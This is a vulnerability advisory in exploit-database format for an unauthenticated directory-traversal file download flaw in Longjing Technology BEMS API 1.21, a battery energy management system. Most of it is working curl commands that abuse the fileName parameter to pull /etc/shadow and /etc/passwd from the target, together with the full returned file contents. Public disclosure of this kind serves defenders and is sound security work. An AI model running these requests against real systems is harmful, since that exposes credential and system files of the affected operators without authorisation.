Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download

# Exploit Title: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
# Date: 05.07.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: http://www.ljkj2012.com

Longjing Technology BEMS API 1.21 Remote Arbitrary File Download


Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21

Summary: Battery Energy Management System.

Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.

Tested on: nginx/1.19.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php


05.07.2021

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$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow

root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::


$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin